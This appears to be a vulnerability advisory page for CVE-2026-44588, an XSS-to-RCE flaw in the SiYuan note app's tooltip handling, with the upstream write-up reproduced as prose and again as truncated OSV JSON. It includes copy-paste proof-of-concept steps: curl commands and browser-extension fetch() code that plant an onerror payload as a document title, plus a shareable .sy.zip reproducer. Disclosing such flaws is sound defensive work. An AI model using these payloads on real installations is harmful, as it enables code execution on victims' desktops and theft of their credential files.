CVE-2026-44588: SiYuan Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-25rp-h46x-2hjm
CWE-116 CWE-1188 CWE-79
Published
Advisory Summary

CVE-2026-44588 is a CRITICAL remote code execution vulnerability (CWE-116: Improper Encoding or Escaping of Output) affecting SiYuan libraries in the Go ecosystem. The issue involves electron renderer rce via decodeuricomponent-driven tooltip xss in aria-label sink (incomplete fix for cve-2026-34585). Remediation is available in the latest vendor maintenance releases.

CVE-2026-44588 at a Glance

CVE Identifier CVE-2026-44588
GHSA Identifier GHSA-25rp-h46x-2hjm
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-116: Improper Encoding or Escaping of Output
Affected Product SiYuan
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-44588

To remediate this vulnerability, upgrade all affected SiYuan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/siyuan-note/siyuan/kernel fixed: Latest secure release
Upgrade github.com/siyuan-note/siyuan/kernel to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-44588, inspect your project dependencies for SiYuan:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

Analyze the terminal output to locate any version of SiYuan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-116: Improper Encoding or Escaping of Output, where the product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. as a result, the intended structure of the message is not preserved. In SiYuan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The tooltip mouseover handler in `app/src/block/popover.ts` reads `aria-label` via `getAttribute` and passes it through `decodeURIComponent` before assigning to `messageElement.innerHTML` in `app/src/dialog/tooltip.ts:41`. The encoder used at the producer side, `escapeAriaLabel` in `app/src/util/escape.ts:19-25`, only handles HTML special characters (`"`, `'`, `<`, literal `&lt;`) — it leaves `%XX` URL-escapes untouched. So a doc title containing `%3Cimg src=x onerror=...%3E` round-trips through `escapeAriaLabel` and the HTML attribute layer unmodified. Then `decodeURIComponent` on the consumer side converts `%3C` to a literal `<` character (a real `<`, NOT a character reference). When that string is assigned to `innerHTML`, the HTML5 tokenizer enters TagOpenState on the literal `<`, parses the `<img>` element, and the `onerror` handler fires. Because the renderer runs with `nodeIntegration: true, contextIsolation: false, webSecurity: false` (`app/electron/main.js:407-411`), `require('child_process')` is reachable from the injected handler, escalating to arbitrary code execution. Doc titles, AV column names + descriptions, AV select options, file-tree tooltips all reach this sink because they're rendered into `class="ariaLabel"` elements with `aria-label="${escapeAriaLabel(...)}"`. Doc title is the easiest plant — any user with create/rename access lands the payload, and the file survives `.sy.zip` round-trip without modification. ## Why a "double HTML-decode" framing is wrong A naïve reading of the chain might suggest that `&amp;lt;` (the encoder output) decodes once at attribute-parse time to `&lt;`, then a second time at `innerHTML` time to `<` — yielding a tag. **That's incorrect** and confirmed false by direct browser testing. Per the HTML5 spec, character references in DataState produce CHARACTER tokens (text), not TagOpenState transitions: the `<` resulting from a `&lt;` reference is text data, never a tag-open delimiter. So the HTML-entity-only payload renders as visible literal text, not as a tag. The actual bypass relies on `decodeURIComponent` producing a **literal** `<` (not a character reference) before `innerHTML` parses it. Literal `<` characters in the input stream DO trigger TagOpenState. URL encoding is the right vehicle because the encoder ignores `%XX` while the consumer chain decodes it. ## Details **Encoder.** `app/src/util/escape.ts:19-25`: ```ts export const escapeAriaLabel = (html: string) => { if (!html) { return html; } return html.replace(/"/g, "&quot;").replace(/'/g, "&apos;") .replace(/</g, "&amp;lt;").replace(/&lt;/g, "&amp;lt;"); }; ``` The four replacements only cover HTML special chars. `%XX` URL escapes are not touched. **Source — search-result rendering.** `app/src/search/util.ts:1406`: ```ts <span class="b3-list-item__text ariaLabel" ... aria-label="${escapeAriaLabel(title)}">${escapeGreat(title)}</span> ``` Same pattern at `:1448`, `protyle/render/av/blockAttr.ts:205`, `protyle/render/av/col.ts:134`, `protyle/render/av/select.ts:36`, `search/unRef.ts:113`. The `title` is built from `getNotebookName(item.box) + getDisplayName(item.hPath, false)` (line 1398). The `hPath` returned by `/api/search/fullTextSearchBlock` carries the user-set doc title verbatim — `%XX` URL-escapes pass through, only HTML special chars are entity-encoded by the kernel. **Consumer.** `app/src/block/popover.ts:33,144`: ```ts let tip = aElement.getAttribute("aria-label") || ""; // literal stored attribute value // ... branch logic that doesn't apply to plain search results ... showTooltip(decodeURIComponent(tip), aElement, ...); // ← decodes %XX into raw chars ``` `decodeURIComponent` is presumably present to handle URL-encoded asset paths in some hyperlink tooltips, but it's applied unconditionally to every aria-label-sourced tip — that's what enables this bypass. **Sink.** `app/src/dialog/tooltip.ts:41`: ```ts messageElement.innerHTML = message; // ← HTML parser sees the now-decoded raw `<` and starts parsing tags ``` **Decode-chain trace** for in-memory title `%3Cimg src=x onerror="alert('SiYuan')"%3E` (URL-encoded `<` `>` `'`, literal `"`): | step | result | |------|--------| | in-memory title | `%3Cimg src=x onerror="alert('SiYuan')"%3E` | | `escapeAriaLabel` writes (only `"` and `'` get encoded — neither appears here as raw chars when `'` is `%27`) | `%3Cimg src=x onerror=&quot;alert(%27SiYuan%27)&quot;%3E` | | HTML attribute set: `aria-label="..."` ; browser one-decodes named entities when storing | in-DOM value = `%3Cimg src=x onerror="alert(%27SiYuan%27)"%3E` | | `getAttribute("aria-label")` | `%3Cimg src=x onerror="alert(%27SiYuan%27)"%3E` (verbatim) | | `decodeURIComponent(tip)` | **`<img src=x onerror="alert('SiYuan')">`** (real `<` `'` `>` chars) | | `messageElement.innerHTML = …` | HTML parser tokenizes raw `<img>`, creates element, fails to load `src=x`, fires `onerror` → JS runs | **Renderer + reachability.** Renderer posture and auto-admin gates same as the AV-name advisory (Advisory 1): `nodeIntegration:true, contextIsolation:false, webSecurity:false` at `app/electron/main.js:407-411`; empty-`AccessAuthCode` local auto-admin at `kernel/model/session.go:261-287`; `chrome-extension://` Origin allowlist at `session.go:277`. ## Suggested fix 1. **Primary — `app/src/dialog/tooltip.ts:41`**: replace ```ts messageElement.innerHTML = message; ``` with ```ts messageElement.textContent = message; ``` For tooltips that legitimately need markup (memo rendering, hyperlink preview cards), introduce an explicit `{html: true}` flag on `showTooltip(...)` and route the message through `DOMPurify.sanitize(message)` before assigning to `innerHTML`. 2. **Drop `decodeURIComponent` at `popover.ts:144`** for the generic aria-label path. Apply it only on the few callers that intentionally pass URL-encoded asset paths (e.g. the local-asset hyperlink preview branch already inside the function), and apply it inside `try`/`catch` with a clear scope. Aria-label content is not URL-encoded by design; decoding it is a footgun that converts otherwise-safe attributes into pre-parsed HTML. 3. **Consolidate the four escape helpers** in `app/src/util/escape.ts` (`escapeHtml`, `escapeAttr`, `escapeAriaLabel`, `escapeGreat`) into one `Lute.EscapeHTMLStr`-equivalent that escapes `&`, `<`, `>`, `"`, `'`. Context-specific encoders without compile-time enforcement keep producing bug-class variants. 4. **(Defense-in-depth)** Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge — caps every future renderer XSS at "DOM only," not RCE. --- ## Reproduction (copy-paste-ready) Tested on Windows with SiYuan v3.6.5 (kernel + Electron) and Microsoft Edge as the offline parser-validation engine. Linux/macOS users substitute `py` with `python3` and use any modern Chromium-based browser (Edge/Chrome/Brave) for the standalone validation step. ### Prereqs 1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases and launch once. **Do not set an `AccessAuthCode`** (default). 2. Verify the kernel is up: ```sh curl -s http://127.0.0.1:6806/api/system/version # → {"code":0,"msg":"","data":"3.6.5"} ``` 3. Create at least one notebook (the file tree's "+" button) so `lsNotebooks` returns a usable id. Pin variables: ```sh API=http://127.0.0.1:6806 NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \ -H 'Content-Type: application/json' -d '{}' \ | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])') echo "Using notebook: $NOTEBOOK_ID" ``` ### Step A — Browser-only validation of the chain (no SiYuan needed) This proves the bug class on its own. Save as `decode-chain.html`, open in any Chromium-based browser: ```html <!doctype html> <html><body> <h2 id="status">Click "Simulate" — if status turns red, the chain works.</h2> <span id="src" class="ariaLabel" aria-label="%3Cimg src=x onerror=&quot;document.getElementById('status').innerText='RESULT: payload fired — chain works'; document.getElementById('status').style.color='red';&quot;%3E" hidden></span> <button onclick=" let tip = document.getElementById('src').getAttribute('aria-label'); console.log('after getAttribute:', JSON.stringify(tip)); try { tip = decodeURIComponent(tip); } catch(e){} console.log('after decodeURIComponent:', JSON.stringify(tip)); document.getElementById('out').innerHTML = tip; ">Simulate SiYuan tooltip</button> <div id="out" style="border:2px solid red; padding:1em; min-height:3em; margin-top:1em;"></div> </body></html> ``` Click the button. The `<h2 id="status">` flips to red with "RESULT: payload fired — chain works", and the `<div id="out">` contains a fully-rendered `<img>` element (not text). Confirms the chain decodes URL-escapes between `getAttribute` and `innerHTML`, producing real tag-open characters. ### Step B — Plant the payload in SiYuan ```sh DOC_ID=$(curl -s -X POST $API/api/filetree/createDocWithMd \ -H 'Content-Type: application/json' \ -d "{\"notebook\":\"$NOTEBOOK_ID\",\"path\":\"/tooltip-xss-poc-$$\",\"markdown\":\"trigger me — open the search panel, type 'trigger', and hover this result\"}" \ | python -c 'import sys,json; print(json.load(sys.stdin)["data"])') echo "DOC: $DOC_ID" curl -s -X POST $API/api/filetree/renameDocByID \ -H 'Content-Type: application/json' \ --data-binary @- <<EOF {"id":"$DOC_ID","title":"%3Cimg src=x onerror=\"alert('SiYuan tooltip-XSS PoC')\"%3E"} EOF ``` Verify the in-memory title round-trips: ```sh curl -s -X POST $API/api/block/getDocInfo \ -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \ | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["ial"]["title"])' # Expected: # %3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E ``` ### Step C — Trigger inside SiYuan In the SiYuan desktop client: 1. Open the search panel (`Ctrl+P` / `⌘+P`). 2. Type `trigger`. 3. The result list renders the doc with `aria-label="${escapeAriaLabel(title)}"`. The DOM attribute now contains `%3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E` (URL-escapes survived; `&quot;` came from escapeAriaLabel and was decoded by the attribute parser to `"`). 4. **Hover the result row.** `popover.ts:33` reads the attribute, `popover.ts:144` calls `decodeURIComponent` (decoding `%3C`/`%27`/`%3E` to literal `<`/`'`/`>`), `tooltip.ts:41` writes `innerHTML` — HTML parser creates a real `<img>` element, `onerror` fires. 5. **`alert('SiYuan tooltip-XSS PoC')` pops.** ### Step D — `.sy.zip` reproducer for upstream review For maintainers who want a single-click reproducer: ```sh ZIP_PATH=$(curl -s -X POST $API/api/export/exportSY \ -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \ | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["zip"])') # The kernel re-encodes % in the URL, so it's simpler to grab from disk: SRC=$(ls -1t "$HOME/SiYuanWorkspace/temp/export"/*.sy.zip | head -1) cp "$SRC" "$HOME/Desktop/tooltip-xss-poc.sy.zip" ``` Maintainer reproduces by importing via right-click a notebook → **Import** → **SiYuan `.sy.zip`** → searching `trigger` → hovering the result. The Lute serialization stores the title in the `.sy` file with `%XX` preserved literally and `"` HTML-entity-encoded — the IAL parser decodes the entities on load, leaving the URL escapes intact, which then feeds the `decodeURIComponent`-based bypass. ### Step E — Browser-extension attack vector (the realistic remote path) A malicious or compromised installed browser extension's content/background script runs with `chrome-extension://<id>` Origin, allowlisted by `session.go:277`. The extension can run Step B's curl chain via `fetch()` without any SiYuan UI interaction beyond keeping the kernel running: ```js (async () => { const api = (path, body) => fetch('http://127.0.0.1:6806' + path, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(body) }).then(r => r.json()); const nb = await api('/api/notebook/lsNotebooks', {}); const id = (await api('/api/filetree/createDocWithMd', { notebook: nb.data.notebooks[0].id, path: '/x' + Date.now(), markdown: 'trigger' })).data; await api('/api/filetree/renameDocByID', { id, title: `%3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E` }); })(); ``` A page from `https://attacker.com` is rejected — `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author's compromised device**. ### Cleanup ```sh DOC_ID=$(curl -s -X POST $API/api/filetree/searchDocs \ -H 'Content-Type: application/json' -d '{"k":"trigger me"}' \ | python -c 'import sys,json; r=json.load(sys.stdin)["data"]; print(r[0]["id"] if r else "")') [ -n "$DOC_ID" ] && curl -s -X POST $API/api/filetree/removeDocByID \ -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" ``` ## Impact - **RCE on the victim's desktop**, triggered by hovering a search result (or any other `class="ariaLabel"` element rendering attacker-controlled metadata). - **Doc titles are the most commonly-shared field** — recipients of `.sy.zip`, Bazaar templates, and sync peers all import the malicious title automatically; the URL encoding survives every transport. - Same post-RCE consequences as Advisory 1: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json`), persistence, cloud-account pivot. - **Multiple alternative trigger surfaces** beyond search results: AV column names + descriptions, AV select-cell options, file-tree tooltips — any element with `class="ariaLabel"` and `aria-label="${escapeAriaLabel(...)}"` reaches the same `popover.ts → tooltip.ts` chain. - **CVE-2026-34585 fix is incomplete.** The encoder-side hardening assumed exactly one HTML decode between encoder and DOM. It did not account for `decodeURIComponent` being applied to the consumer-side attribute value, which converts URL-escapes that the encoder ignored into literal `<` characters that initiate tag parsing. A consumer-side fix (`textContent`, or `DOMPurify.sanitize` on the rich-text path; and removing the unconditional `decodeURIComponent`) is required.

CVE-2026-44588 Affected SiYuan Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/siyuan-note/siyuan/kernel
Go
≤ 0.0.0-20260421031503-96dfe0bea474

References

Frequently Asked Questions

What is CVE-2026-44588?
CVE-2026-44588 is a security vulnerability in SiYuan involving Electron Renderer RCE via decodeURIComponent-driven tooltip XSS in aria-label sink (incomplete fix for CVE-2026-34585) under CWE-116: Improper Encoding or Escaping of Output.
Which SiYuan versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/siyuan-note/siyuan/kernel.
What version fixes CVE-2026-44588?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/siyuan-note/siyuan/kernel affected?
Yes, github.com/siyuan-note/siyuan/kernel is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2026-44588?
CVE-2026-44588 is classified under CWE-116: Improper Encoding or Escaping of Output (The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.).
How can I check Go dependencies for CVE-2026-44588?
Run the dependency tree command: 'inspect dependencies for github.com/siyuan-note/siyuan/kernel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-25rp-h46x-2hjm",
  "modified" : "2026-06-08T20:11:29Z",
  "published" : "2026-05-08T19:08:30Z",
  "aliases" : [ "CVE-2026-44588" ],
  "summary" : "SiYuan: Electron Renderer RCE via decodeURIComponent-driven tooltip XSS in aria-label sink (incomplete fix for CVE-2026-34585)",
  "details" : "## Summary\n\nThe tooltip mouseover handler in `app/src/block/popover.ts` reads `aria-label` via `getAttribute` and passes it through `decodeURIComponent` before assigning to `messageElement.innerHTML` in `app/src/dialog/tooltip.ts:41`. The encoder used at the producer side, `escapeAriaLabel` in `app/src/util/escape.ts:19-25`, only handles HTML special characters (`\"`, `'`, `<`, literal `&lt;`) — it leaves `%XX` URL-escapes untouched. So a doc title containing `%3Cimg src=x onerror=...%3E` round-trips through `escapeAriaLabel` and the HTML attribute layer unmodified. Then `decodeURIComponent` on the consumer side converts `%3C` to a literal `<` character (a real `<`, NOT a character reference). When that string is assigned to `innerHTML`, the HTML5 tokenizer enters TagOpenState on the literal `<`, parses the `<img>` element, and the `onerror` handler fires.\n\nBecause the renderer runs with `nodeIntegration: true, contextIsolation: false, webSecurity: false` (`app/electron/main.js:407-411`), `require('child_process')` is reachable from the injected handler, escalating to arbitrary code execution.\n\nDoc titles, AV column names + descriptions, AV select options, file-tree tooltips all reach this sink because they're rendered into `class=\"ariaLabel\"` elements with `aria-label=\"${escapeAriaLabel(...)}\"`. Doc title is the easiest plant — any user with create/rename access lands the payload, and the file survives `.sy.zip` round-trip without modification.\n\n## Why a \"double HTML-decode\" framing is wrong\n\nA naïve reading of the chain might suggest that `&amp;lt;` (the encoder output) decodes once at attribute-parse time to `&lt;`, then a second time at `innerHTML` time to `<` — yielding a tag. **That's incorrect** and confirmed false by direct browser testing. Per the HTML5 spec, character references in DataState produce CHARACTER tokens (text), not TagOpenState transitions: the `<` resulting from a `&lt;` reference is text data, never a tag-open delimiter. So the HTML-entity-only payload renders as visible literal text, not as a tag.\n\nThe actual bypass relies on `decodeURIComponent` producing a **literal** `<` (not a character reference) before `innerHTML` parses it. Literal `<` characters in the input stream DO trigger TagOpenState. URL encoding is the right vehicle because the encoder ignores `%XX` while the consumer chain decodes it.\n\n## Details\n\n**Encoder.** `app/src/util/escape.ts:19-25`:\n```ts\nexport const escapeAriaLabel = (html: string) => {\n    if (!html) { return html; }\n    return html.replace(/\"/g, \"&quot;\").replace(/'/g, \"&apos;\")\n        .replace(/</g, \"&amp;lt;\").replace(/&lt;/g, \"&amp;lt;\");\n};\n```\nThe four replacements only cover HTML special chars. `%XX` URL escapes are not touched.\n\n**Source — search-result rendering.** `app/src/search/util.ts:1406`:\n```ts\n<span class=\"b3-list-item__text ariaLabel\" ... aria-label=\"${escapeAriaLabel(title)}\">${escapeGreat(title)}</span>\n```\nSame pattern at `:1448`, `protyle/render/av/blockAttr.ts:205`, `protyle/render/av/col.ts:134`, `protyle/render/av/select.ts:36`, `search/unRef.ts:113`. The `title` is built from `getNotebookName(item.box) + getDisplayName(item.hPath, false)` (line 1398). The `hPath` returned by `/api/search/fullTextSearchBlock` carries the user-set doc title verbatim — `%XX` URL-escapes pass through, only HTML special chars are entity-encoded by the kernel.\n\n**Consumer.** `app/src/block/popover.ts:33,144`:\n```ts\nlet tip = aElement.getAttribute(\"aria-label\") || \"\";       // literal stored attribute value\n// ... branch logic that doesn't apply to plain search results ...\nshowTooltip(decodeURIComponent(tip), aElement, ...);       // ← decodes %XX into raw chars\n```\n`decodeURIComponent` is presumably present to handle URL-encoded asset paths in some hyperlink tooltips, but it's applied unconditionally to every aria-label-sourced tip — that's what enables this bypass.\n\n**Sink.** `app/src/dialog/tooltip.ts:41`:\n```ts\nmessageElement.innerHTML = message;     // ← HTML parser sees the now-decoded raw `<` and starts parsing tags\n```\n\n**Decode-chain trace** for in-memory title `%3Cimg src=x onerror=\"alert('SiYuan')\"%3E` (URL-encoded `<` `>` `'`, literal `\"`):\n\n| step | result |\n|------|--------|\n| in-memory title | `%3Cimg src=x onerror=\"alert('SiYuan')\"%3E` |\n| `escapeAriaLabel` writes (only `\"` and `'` get encoded — neither appears here as raw chars when `'` is `%27`) | `%3Cimg src=x onerror=&quot;alert(%27SiYuan%27)&quot;%3E` |\n| HTML attribute set: `aria-label=\"...\"` ; browser one-decodes named entities when storing | in-DOM value = `%3Cimg src=x onerror=\"alert(%27SiYuan%27)\"%3E` |\n| `getAttribute(\"aria-label\")` | `%3Cimg src=x onerror=\"alert(%27SiYuan%27)\"%3E` (verbatim) |\n| `decodeURIComponent(tip)` | **`<img src=x onerror=\"alert('SiYuan')\">`** (real `<` `'` `>` chars) |\n| `messageElement.innerHTML = …` | HTML parser tokenizes raw `<img>`, creates element, fails to load `src=x`, fires `onerror` → JS runs |\n\n**Renderer + reachability.** Renderer posture and auto-admin gates same as the AV-name advisory (Advisory 1): `nodeIntegration:true, contextIsolation:false, webSecurity:false` at `app/electron/main.js:407-411`; empty-`AccessAuthCode` local auto-admin at `kernel/model/session.go:261-287`; `chrome-extension://` Origin allowlist at `session.go:277`.\n\n## Suggested fix\n\n1. **Primary — `app/src/dialog/tooltip.ts:41`**: replace\n   ```ts\n   messageElement.innerHTML = message;\n   ```\n   with\n   ```ts\n   messageElement.textContent = message;\n   ```\n   For tooltips that legitimately need markup (memo rendering, hyperlink preview cards), introduce an explicit `{html: true}` flag on `showTooltip(...)` and route the message through `DOMPurify.sanitize(message)` before assigning to `innerHTML`.\n\n2. **Drop `decodeURIComponent` at `popover.ts:144`** for the generic aria-label path. Apply it only on the few callers that intentionally pass URL-encoded asset paths (e.g. the local-asset hyperlink preview branch already inside the function), and apply it inside `try`/`catch` with a clear scope. Aria-label content is not URL-encoded by design; decoding it is a footgun that converts otherwise-safe attributes into pre-parsed HTML.\n\n3. **Consolidate the four escape helpers** in `app/src/util/escape.ts` (`escapeHtml`, `escapeAttr`, `escapeAriaLabel`, `escapeGreat`) into one `Lute.EscapeHTMLStr`-equivalent that escapes `&`, `<`, `>`, `\"`, `'`. Context-specific encoders without compile-time enforcement keep producing bug-class variants.\n\n4. **(Defense-in-depth)** Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge — caps every future renderer XSS at \"DOM only,\" not RCE.\n\n---\n\n## Reproduction (copy-paste-ready)\n\nTested on Windows with SiYuan v3.6.5 (kernel + Electron) and Microsoft Edge as the offline parser-validation engine. Linux/macOS users substitute `py` with `python3` and use any modern Chromium-based browser (Edge/Chrome/Brave) for the standalone validation step.\n\n### Prereqs\n\n1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases and launch once. **Do not set an `AccessAuthCode`** (default).\n2. Verify the kernel is up:\n   ```sh\n   curl -s http://127.0.0.1:6806/api/system/version\n   # → {\"code\":0,\"msg\":\"\",\"data\":\"3.6.5\"}\n   ```\n3. Create at least one notebook (the file tree's \"+\" button) so `lsNotebooks` returns a usable id. Pin variables:\n   ```sh\n   API=http://127.0.0.1:6806\n   NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \\\n     -H 'Content-Type: application/json' -d '{}' \\\n     | python -c 'import sys,json; print(json.load(sys.stdin)[\"data\"][\"notebooks\"][0][\"id\"])')\n   echo \"Using notebook: $NOTEBOOK_ID\"\n   ```\n\n### Step A — Browser-only validation of the chain (no SiYuan needed)\n\nThis proves the bug class on its own. Save as `decode-chain.html`, open in any Chromium-based browser:\n\n```html\n<!doctype html>\n<html><body>\n<h2 id=\"status\">Click \"Simulate\" — if status turns red, the chain works.</h2>\n<span id=\"src\" class=\"ariaLabel\"\n      aria-label=\"%3Cimg src=x onerror=&quot;document.getElementById('status').innerText='RESULT: payload fired — chain works'; document.getElementById('status').style.color='red';&quot;%3E\"\n      hidden></span>\n<button onclick=\"\n  let tip = document.getElementById('src').getAttribute('aria-label');\n  console.log('after getAttribute:', JSON.stringify(tip));\n  try { tip = decodeURIComponent(tip); } catch(e){}\n  console.log('after decodeURIComponent:', JSON.stringify(tip));\n  document.getElementById('out').innerHTML = tip;\n\">Simulate SiYuan tooltip</button>\n<div id=\"out\" style=\"border:2px solid red; padding:1em; min-height:3em; margin-top:1em;\"></div>\n</body></html>\n```\n\nClick the button. The `<h2 id=\"status\">` flips to red with \"RESULT: payload fired — chain works\", and the `<div id=\"out\">` contains a fully-rendered `<img>` element (not text). Confirms the chain decodes URL-escapes between `getAttribute` and `innerHTML`, producing real tag-open characters.\n\n### Step B — Plant the payload in SiYuan\n\n```sh\nDOC_ID=$(curl -s -X POST $API/api/filetree/createDocWithMd \\\n  -H 'Content-Type: application/json' \\\n  -d \"{\\\"notebook\\\":\\\"$NOTEBOOK_ID\\\",\\\"path\\\":\\\"/tooltip-xss-poc-$$\\\",\\\"markdown\\\":\\\"trigger me — open the search panel, type 'trigger', and hover this result\\\"}\" \\\n  | python -c 'import sys,json; print(json.load(sys.stdin)[\"data\"])')\necho \"DOC: $DOC_ID\"\n\ncurl -s -X POST $API/api/filetree/renameDocByID \\\n  -H 'Content-Type: application/json' \\\n  --data-binary @- <<EOF\n{\"id\":\"$DOC_ID\",\"title\":\"%3Cimg src=x onerror=\\\"alert('SiYuan tooltip-XSS PoC')\\\"%3E\"}\nEOF\n```\nVerify the in-memory title round-trips:\n```sh\ncurl -s -X POST $API/api/block/getDocInfo \\\n  -H 'Content-Type: application/json' -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\" \\\n  | python -c 'import sys,json; print(json.load(sys.stdin)[\"data\"][\"ial\"][\"title\"])'\n# Expected:\n# %3Cimg src=x onerror=\"alert('SiYuan tooltip-XSS PoC')\"%3E\n```\n\n### Step C — Trigger inside SiYuan\n\nIn the SiYuan desktop client:\n1. Open the search panel (`Ctrl+P` / `⌘+P`).\n2. Type `trigger`.\n3. The result list renders the doc with `aria-label=\"${escapeAriaLabel(title)}\"`. The DOM attribute now contains `%3Cimg src=x onerror=\"alert('SiYuan tooltip-XSS PoC')\"%3E` (URL-escapes survived; `&quot;` came from escapeAriaLabel and was decoded by the attribute parser to `\"`).\n4. **Hover the result row.** `popover.ts:33` reads the attribute, `popover.ts:144` calls `decodeURIComponent` (decoding `%3C`/`%27`/`%3E` to literal `<`/`'`/`>`), `tooltip.ts:41` writes `innerHTML` — HTML parser creates a real `<img>` element, `onerror` fires.\n5. **`alert('SiYuan tooltip-XSS PoC')` pops.**\n\n### Step D — `.sy.zip` reproducer for upstream review\n\nFor maintainers who want a single-click reproducer:\n```sh\nZIP_PATH=$(curl -s -X POST $API/api/export/exportSY \\\n  -H 'Content-Type: application/json' -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\" \\\n  | python -c 'import sys,json; print(json.load(sys.stdin)[\"data\"][\"zip\"])')\n# The kernel re-encodes % in the URL, so it's simpler to grab from disk:\nSRC=$(ls -1t \"$HOME/SiYuanWorkspace/temp/export\"/*.sy.zip | head -1)\ncp \"$SRC\" \"$HOME/Desktop/tooltip-xss-poc.sy.zip\"\n```\nMaintainer reproduces by importing via right-click a notebook → **Import** → **SiYuan `.sy.zip`** → searching `trigger` → hovering the result. The Lute serialization stores the title in the `.sy` file with `%XX` preserved literally and `\"` HTML-entity-encoded — the IAL parser decodes the entities on load, leaving the URL escapes intact, which then feeds the `decodeURIComponent`-based bypass.\n\n### Step E — Browser-extension attack vector (the realistic remote path)\n\nA malicious or compromised installed browser extension's content/background script runs with `chrome-extension://<id>` Origin, allowlisted by `session.go:277`. The extension can run Step B's curl chain via `fetch()` without any SiYuan UI interaction beyond keeping the kernel running:\n```js\n(async () => {\n  const api = (path, body) => fetch('http://127.0.0.1:6806' + path, {\n    method: 'POST', headers: {'Content-Type': 'application/json'},\n    body: JSON.stringify(body)\n  }).then(r => r.json());\n  const nb = await api('/api/notebook/lsNotebooks', {});\n  const id = (await api('/api/filetree/createDocWithMd', {\n    notebook: nb.data.notebooks[0].id,\n    path: '/x' + Date.now(),\n    markdown: 'trigger'\n  })).data;\n  await api('/api/filetree/renameDocByID', {\n    id,\n    title: `%3Cimg src=x onerror=\"alert('SiYuan tooltip-XSS PoC')\"%3E`\n  });\n})();\n```\nA page from `https://attacker.com` is rejected — `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author's compromised device**.\n\n### Cleanup\n\n```sh\nDOC_ID=$(curl -s -X POST $API/api/filetree/searchDocs \\\n  -H 'Content-Type: application/json' -d '{\"k\":\"trigger me\"}' \\\n  | python -c 'import sys,json; r=json.load(sys.stdin)[\"data\"]; print(r[0][\"id\"] if r else \"\")')\n[ -n \"$DOC_ID\" ] && curl -s -X POST $API/api/filetree/removeDocByID \\\n  -H 'Content-Type: application/json' -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\"\n```\n\n## Impact\n\n- **RCE on the victim's desktop**, triggered by hovering a search result (or any other `class=\"ariaLabel\"` element rendering attacker-controlled metadata).\n- **Doc titles are the most commonly-shared field** — recipients of `.sy.zip`, Bazaar templates, and sync peers all import the malicious title automatically; the URL encoding survives every transport.\n- Same post-RCE consequences as Advisory 1: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json`), persistence, cloud-account pivot.\n- **Multiple alternative trigger surfaces** beyond search results: AV column names + descriptions, AV select-cell options, file-tree tooltips — any element with `class=\"ariaLabel\"` and `aria-label=\"${escapeAriaLabel(...)}\"` reaches the same `popover.ts → tooltip.ts` chain.\n- **CVE-2026-34585 fix is incomplete.** The encoder-side hardening assumed exactly one HTML decode between encoder and DOM. It did not account for `decodeURIComponent` being applied to the consumer-side attribute value, which converts URL-escapes that the encoder ignored into literal `<` characters that initiate tag parsing. A consumer-side fix (`textContent`, or `DOMPurify.sanitize` on the rich-text path; and removing the unconditional `decodeURIComponent`) is required.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.0.0-20260421031503-96dfe0bea474"
